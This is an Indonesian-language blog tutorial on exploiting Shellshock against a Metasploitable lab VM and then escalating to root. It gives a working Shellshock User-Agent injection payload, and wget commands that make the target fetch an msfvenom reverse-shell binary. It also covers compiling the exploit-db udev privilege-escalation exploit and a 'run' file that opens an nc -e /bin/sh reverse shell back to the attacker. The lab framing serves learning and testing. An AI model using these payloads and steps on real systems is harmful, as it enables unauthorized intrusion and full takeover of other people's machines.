Exploitasi Shellshock dan eskalasi hak akses

01 March 2015 by Harry Adinanta . 0 Comment

Daftar Isi:

  1. Latar Belakang
  2. Mempersiapkan Laboratorium
  3. Mendeteksi Kerentanan Shellshock
  4. Mengexploitasi Kerentanan Shellshock
  5. Eskalasi Hak Akses
  6. Selanjutnya

Latar Belakang

Kerentanan Shellshock atau Bashdoor baru saja dipublikasikan tahun lalu dan informasi selengkapnya bisa dilihat di wikipedia. Kerentanan ini menimpa program shell bernama BASH yang biasa digunakan oleh sistem operasi berbasis GNU Unix dan Linux. Shell adalah command-line interpreter atau antarmuka yang digunakan oleh user dalam berinteraksi atau memberikan perintah ke Sistem Operasi.

Kerentanan Shellshock dapat dimanfaatkan oleh attacker (penyerang) untuk mendapatkan hak akses tidak sah dengan cara menginjeksi suatu perintah yang dibutuhkan ke sistem yang rentan.

Program BASH menyediakan fitur environment variables dan function definition yang dapat diset sebelum BASH mengeksekusi suatu perintah atau program. Dalam implementasinya, function definition ini biasanya diexport atau diberikan ke instance BASH dengan cara diencode atau dibungkus sehingga menjadi bagian dari environment variable. Function definition ini kemudian menjadi salah satu named variable dimana nilainya dimulai dengan parenthese “()” dan kemudian diikuti dengan definisi fungsi internal yang dibutuhkan. Saat BASH mulai dijalankan, program akan terlebih dahulu membaca environment variable dan kemudian mengkonversikan setiap variable yang memiliki nilai parenthese diatas ke dalam bentuk fuction definition yang sah sehingga dapat dimengeri dan dieksekusi oleh program BASH. Setelah proses konversi selesai, program BASH akan mengeksekusi setiap function yang didefinisikan.

Permasalahan muncul saat function definition ini tidak divalidasi keabsahannya sehingga dapat dimanfaatkan oleh penyerang untuk memasukan perintah atau instruksi diluar function yang tersedia. Karena BASH akan mengeksekusi apapun yang ada di function definition ini, maka instruksi yang diberikan oleh penyerang tentu akan dijalankan oleh BASH tanpa ragu.

Singkat kata, kerentanan ini dapat dimanfaatkan oleh penyerang dengan cara menyisipi instruksi yang diinginkan ke dalam environment variable.

Terdapat beberapa metode attack atau attack vector yang dapat diterapkan untuk mengexploitasi kerentanan ini. Berikut adalah daftar sebagian dari metode attack tersebut:

  1. Menginjeksi perintah di halaman web yang berbasis CGI (Common Gateway Interface) script. Metode ini bisa diterapkan apabila web server telah mengaktifkan module CGI dan script yang akan diexploitasi berinteraksi dengan BASH shell.

  2. Menginjeksi perintah di OpenSSH server melalui fitur “Forced Command” dimana BASH akan mengeksekusi apapun yang ada di environment variable “SSH_ORIGNAL_COMMAND”.

  3. Menginjeksi perintah melalui paket data yang diproses oleh DHCP Client. Dalam hal ini system yang rentan bertindak sebagai DHCP client dan penyerang menginjeksi perintah yang diinginkan melalui DHCP options yang dikirim oleh DHCP server.

  4. Menginjeksi perintah ke Qmail server yang menggunakan BASH untuk memproses email.

Dalam artikel ini, saya hanya akan membahas bagaimana kerentanan shellshock diekploitasi melalui halaman web yang berbasis CGI. Setelah mendapatkan akses ke shell atau command-line, kita akan melakukan eskalasi hak akses dengan cara mengexploitasi kerentanan lain yang ada di Sistem Operasi tersebut.

Mempersiapkan Laboratorium:

Sebelum kita membahas bagaimana mendeteksi dan kemudian mengekploitasi Shellsock, kita akan terlebih dahulu mempersiapkan system yang akan digunakan untuk percobaan ini. Perlu diketahui bahwa kombinasi system yang saya jabarkan dalam artikel ini bukanlah kombinasi yang mutlak untuk dapat mengexploitasi shellshock. Teman-teman dapat menggunakan Sistem Operasi dan tools lainnya untuk mencoba karena secara konsep tidak akan jauh berbeda.

Lakukan langkah berikut untuk mempersiapkan Lab:

  1. Download Metasploitable VM di https://information.rapid7.com/metasploitable-download.html?LS=1631875&CS=web

  2. Download Kali Linux VM di https://www.offensive-security.com/kali-linux-vmware-arm-image-download/ apabila teman-teman belum memiliki Kali Linux

  3. Download Burp Suite Proxy Interceptor Free Edition di http://portswigger.net/burp/download.html

Setelah semuanya selesai didownload, lakukan langkah berikut untuk mengkonfigurasi system.

alt text

i.Konfigurasi Module CGI di Metasploitable.

Jalankan metasploitable di VMWARE player dan kemudian lakukan prosedur berikut:

1.Login ke metasploitable VM menggunakan username “msfadmin” dan password “msfadmin”

2.Buka file/etc/apache2/sites-enabled/000-default dan pastikan terdapat konfigurasi untuk cgi-bin alias dan direktori

alt text

3.Jalankan perintah berikut di terminal untuk mengaktifkan module CGI

sudo a2enmod cgi
sudo service apache2 restart

ii. Buat script CGI sederhana yang akan diexploitasi

1.Masih di VM metasploitable, ketik “sudo nano /usr/lib/cgi-bin/test.cgi” untuk membuat file CGI dan kemudian ketik script perl sederhana berikut ini

#!/usr/bin/perl
use strict;
use warnings;

print qq(Content-type: text/html\n\n);

print "<pre>Halo,<br><H1>Selamat datang di Indonesia</H1><br>";
system("bash","myscript.sh");
print "</pre>";

2.Perl script diatas memanggil script BASH yang bernama myscript.sh di direktory yang sama. Untuk itu, kita akan buat BASH script dengan mengetik “sudo nano /usr/lib/cgi-bin/myscript.sh” dengan isi script berikut

#!/bin/sh
printf "Server ini akan memberikan Informasi yang sangat bermanfaat :)\n\n"
printf "Alamat IP\n\n"
/sbin/ifconfig
printf "\n\n"
printf "Penggunaan Disk\n\n"
/bin/df -h

3.Pastikan file test.cgi dan myscript.sh diatas diberikan executable permission dengan mengetik ” sudo chmod +x /usr/lib/cgi-bin/myscript.sh /usr/lib/cgi-bin/test.cgi” dan kemudian cek kembali permission di file-file tersebut dengan mengetik “ls -l”

iii. Install Burp Suite di KALI Linux

Kita akan menggunakan KALI Linux untuk mengexploitasi Shellshock yang berjalan di metasploitable. kita akan menggunakan burp suite untuk menginjeksi perintah ke http GET request ke target. Namun, hal ini juga bisa dilakukan hanya dengan menggunakan “wget” yang memang sudah tersedia di KALI Linux.

  1. Copy burp suite yang telah didownload ke home folder root.

  2. Jalankan perintah ” java -jar -Xmx1024m burpsuite_free_v1.6.jar” di terminal home

iv. Test koneksi antar Kali Linux (attacker) dengan metasploitable (target)

Sebelum analisis dan exploitasi dimulai ,kita terlebih dahulu memastikan Kali Linux (attacker) dapat membuka halaman CGI yang dijalankan oleh metasploitable (target). Untuk itu, buka iceweasel di Kali linux dan kemudian buka http://alamat-ip-metasploitable/cgi-bin/test.cgi

Berikut hasil pemprosesan CGI script di metasploitable

alt text

Mendeteksi Kerentanan Shellshock

Kerentanan Shellshock agak sulit dideteksi tanpa terlebih dahulu mengirim sebuah input ke sistem yang diduga rentan. Hal ini karena tidak semua CGI script dibuat berinteraksi dengan BASH shell. Untuk itu kita perlu mengirim perintah yang dianggap sebagai environment variable oleh sistem yang diduga rentan dan kemudian memperhatikan apakah perintah tersebut dieksekusi. Seperti yang sudah saya sampaikan, dalam artikel ini kita hanya akan melakukan validasi dan exploitasi shellsock melalui halaman web yang menjalankan CGI script.

Berikut adalah salah satu cara untuk memvalidasi kerentanan shellshock.

1.Jalankan iceweasel di kali linux dan pastikan proxy setting mengarah ke burpsuite localhost dengan port 8080

2.Setelah itu buka halaman http://ip-metasploitable/cgi-bin/test.cgi

3.Lihat target –> site map di burpsuite dan kemudian klik kanan link cgi dan kirim ke repeater seperti gambar dibawah ini

alt text

4.Buka tab repeater dan ketik string berikut ini dibagian User-agent:

() { abc;};echo \"Content-type: text/plain\";/bin/uname -a

alt text

String diatas kalau dijabarkan bisa diartikan sebagai berikut

() { 
abc //Internal Function yang dideklarasikan sebelum menjalankan BASH
}
echo \"Content-type: text/plain\" //untuk memastikan web server tidak menjawab dengan kode 500 error
/bin/uname -a //perintah yang kita kirim ke target

5.Eksekusi request dengan menekan tombol go dan kemudian perhatikan hasil balasan yang diberikan oleh metasploitable (target).

alt text

dari hasil diatas, kita bisa melihat bahwa perintah “/bin/uname -a” dieksekusi oleh target. Dengan ini kita bisa pastikan bahwa sistem target rentan terhadap shellshock karena mengeksekusi perintah apapun yang ada di bagian environment variable.

Mengexploitasi Kerentanan Shellshock

Sekarang kita memasuki bagian yang paling menyenangkan yaitu mengambil-alih target sistem secara penuh. Seperti yang kita ketahui dari kegiatan sebelumnya, target akan mengeksekusi perintah apapun yang kita berikan melalui parameter user-agent. Dengan demikian, kita akan memanfaatkan ini untuk mendapatkan shell (command-prompt) dari target dengan cara mengupload program shell tersebut dan kemudian memerintahkan target untuk mengeksekusinya.

Dalam kesempatan ini, kita akan menggunakan program reverse shell yaitu program shell yang diinisiasi atau yang dimulai oleh target.

Berikut langkah yang akan kita lakukan

alt text

i. Cari lokasi yang dapat digunakan untuk menyimpan program reverse shell kita

Sebelum program shell diupload ke target, kita harus terlebih dahulu mencari folder atau ruang hardisk yang memberikan hak akses tulis atau write permission ke akun yang digunakan oleh web server. Untuk itu kita akan mengeksekusi perintah search melalui parameter user-agent yang merupakan bagian dari request data yang kita kirim ke target.

Berikut adalah perintah find yang akan kita kirim ke target

/usr/bin/find / -perm -222 -type d 2>/dev/null

Jawaban atau response target terhadap request kita dapat dilihat dibawah ini

alt text

Dari hasil perintah search di atas, terdapat beberapa folder yang dapat memberikan kita hak akses tulis atau write access. Dalam kesempatan ini kita akan memanfaatkan folder /tmp untuk menampung reverse shell yang akan kita upload ke target.

ii. Upload program reverse shell ke target

Mekanisme upload yang akan kita terapkan adalah dengan menginstruksikan target untuk mendownload program reverse shell dari mesin attacker (kali linux kita). Terdengar agak aneh memang karena lazimnya proses upload itu adalah dengan mengirim file ke sistem tujuan dan bukan menginstruksikan sistem tujuan untuk mendownload. Namun proses upload secara lazim ini belum tentu bisa dilakukan saat kita mencoba mexploitasi target karena bisa saja layanan upload seperti FTP serta akun yang dibutuhkan tidak tersedia.

Dalam kesempatan ini, kita akan menginstruksikan target untuk mendownload program reverse shell dari mesin attacker melalui layanan HTTP. Untuk itu, kita perlu mengaktifkan apache web server di kali linux kita dan kemudian menempatkan program reverse shell di apache2 htdocs folder

Ikuti langkah berikut untuk mengupload program reverse shell ke target (metasploitable):

1.Jalankan apache2 di kali linux dengan mengetik perintah ini di shell atau command-prompt

service apache2 start

2.Buat program reverse shell di kali linux dengan menjalankan msfvenom di direktori /var/www

msfvenom -p linux/x86/shell_reverse_tcp lhost="ip-kali-linux-anda" lport=4444 -f elf >myreverseshell

3.Kirim perintah wget ke target melalui parameter user-agent. (Jangan lupa kalau -O diperintah berikut ini adalah huruf O besar atau capital O.)

/usr/bin/wget http://172.16.192.131/myreverseshell -O /tmp/myreverseshell

alt text

4.Pastikan file berhasil diupload dengan memerintahkan target untuk mengeksekusi perintah “ls -l /tmp”

alt text

5.Pastikan bahwa akun others diberikan hak akses executable ke file myreverseshell dengan chmod +x agar target dapat mengeksekusi program ini.

alt text

iii.Buat listening socket di Kali Linux

Agar Kali Linux kita dapat menerima koneksi shell dari target, maka kita perlu membuat tcp socket dengan port yang telah kita definisikan saat membuat reverse shell. Port ini adalah 4444. Kita bisa menggunakan program netcat yang sudah tersedia di kali linux atau bisa juga menggunakan multi-handler nya metasploit. Untuk mempersingkat pembahasan, saya akan menggunakan netcat.

Ketik perintah berikut di kali linux shell

nc -nvlp 4444

alt text

iv.Instruksikan target untuk mengeksekusi program reverse shell

setelah itu lihat kembali netcat yang berjalan di kali linux dan Boommm!!!!! shell target berhasil didapatkan.

alt text

Eskalasi Hak Akses:

Shell target yang kita dapatkan diatas masih berjalan dalam konteks akun biasa yaitu akun www-data. Akun ini digunakan oleh target untuk menjalankan layanan (service) apache. kalau kita perhatikan, akun ini bukan merupakan bagian dari group root sehingga membatasi kita untuk melakukan segala hal terhadap target.

Tentu, hal yang lebih menarik adalah mendapatkan hak akses setinggi root atau superuser sehingga kita benar-benar bisa mengontrol target secara penuh. Untuk itu, kita akan mengexploitasi target lebih jauh agar bisa memberikan kita hak akses ini.

Sebelum kita mulai mengexploitasi, perhatikan versi linux kernel yang digunakan oleh target yaitu linux kernel 2.6.24-16. Versi kernel ini memiliki kerentanan pada layanan (service) udev dimana akun dengan hak akses biasa dapat meningkatkan hak akses nya menjadi root. Informasi lengkapnya bisa dilihat di halaman exploit-db http://www.exploit-db.com/exploits/8572/

Untuk itu, kita akan memanfaatkan kerentanan ini untuk meningkatkan hak akses dengan prosedur berikut ini.

alt text

i.Upload exploit

Kita akan menggunakan metode sebelumnya untuk mengupload exploit yang dapat meningkatkan hak akses. Download file exploit di http://www.exploit-db.com/download/8572 dan kemudian copy file tersebut ke folder /var/www di kali linux agar file ini dapat didownload oleh target. Setelah itu lakukan upload sesuai dengan prosedur sebelumnya

alt text

ii.Upload file “run”

Program exploit udev yang baru saja kita upload ke target, akan mengeksekusi seluruh perintah yang tertulis di file “run” dalam konteks akun root. Informasi ini bisa kita lihat di prosedure penggunaan yang tertulis di file exploit. Berikut cuplikan penggunaan exploit

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
* Usage:
*
* Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
* usually is the udevd PID minus 1) as argv[1].
*
* The exploit will execute /tmp/run as root so throw whatever payload you
* want in there.
*/
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Dalam kesempatan ini, kita akan membuat perintah sederhana di file “run” yang menginstruksikan target untuk menginisiasi koneksi netcat dengan port 4445 ke Kali Linux kita. berikut isi file “run”

#!/bin/bash
/bin/nc -nv ip-kali-linux-kita 4445 -e /bin/sh

setelah itu, upload file run ini ke target dengan menggunakan metode sebelumnya

iii.Compile exploit

Setelah file exploit udev dan file “run” berhasil diupload ke target, langkah selanjutnya adalah mengcompile file exploit tersebut melalui shell target yang telah kita dapatkan sebelumnya. Jadi, Lakukan prosedur berikut di mesin target.

1.Cari gcc compiler di mesin target dengan perintah

find / -name gcc* 2>/dev/null

alt text

2.Set Path Environment Variable dengan mengetik

export PATH=$PATH:/usr/bin

3.compile file exploit 8572.c dengan nama output file privescalate (bisa menggunakan nama apa saja)

/usr/bin/gcc 8572.c -o privescalate

alt text

iv.Identifikasi PID Udev

Exploit ini membutuhkan nomor PID yang menjalankan layanan (service) udev. Untuk itu kita perlu mengidentifikasi PID ini dengan mengetik perintah

ps aux |grep pid

alt text

Menurut penjelasan penggunaan exploit, input yang harus diberikan ke program exploit adalah nomor PID dikurangi 1. Di metasploitable saya, PID udev ada di nomor 2742 seperti yang tertera di gambar atas. Dengan demikian, input yang harus saya berikan ke program exploit adalah 2741

v.Buat listening socket di kali linux dan jalankan exploit

Ini adalah bagian akhir dari perjalanan kita untuk mendapatkan hak akses root di mesin target. Seperti yang kita ketahui, file “run” yang telah kita upload sebelumnya menyimpan perintah yang menginstruksikan target untuk menginisiasi koneksi netcat ke kali linux kita dengan port 4445. Agar koneksi ini bisa bejalan dengan mulus maka kita perlu pastikan netcat listener di kali linux berjalan di port 4445.

Berikut langkah yang harus kita lakukan

1.Pastikan file “run” dan privescalate telah tersedia di mesin target dan telah diberikan hak akses executable dengan menjalankan perintah chmod +x privescalate

alt text

2.Jalankan netcat di kali linux (attacker) sebagai listener di port 4445 dengan mengeksekusi perintah

nc -nlvp 4445

3.Ubah ke direktori /tmp di mesin target dan kemudian eksekusi file privescalate diikuti dengan nomor PID udev dikurangi 1

./privescalate 2741

4.Perhatikan status netcat di kali linux (attacker) dan ketik id untuk melihat akun yang menjalankan shell tersebut. Boom!!!!!! terlihat bahwa shell baru yang diinisiasikan oleh target berjalan menggunakan akun root.

alt text

Selanjutnya

Dalam artikel ini, kita mengupload dan menjalankan reverse shell dari metasploit saat mengexploitasi kerentanan Shellsock. Namun saat mengexploitasi layanan (service) udev untuk mendapatkan hak akses root,kita memerintahkan target untuk mengeksekusi netcat ke kali linux.

Untuk memperkaya hasil ekperiment, coba untuk tidak menggunakan kombinasi diatas yaitu gunakan reverse shell atau netcat di keseluruhan tahapan.

Selamat mencoba dan semoga artikel ini bermanfaat.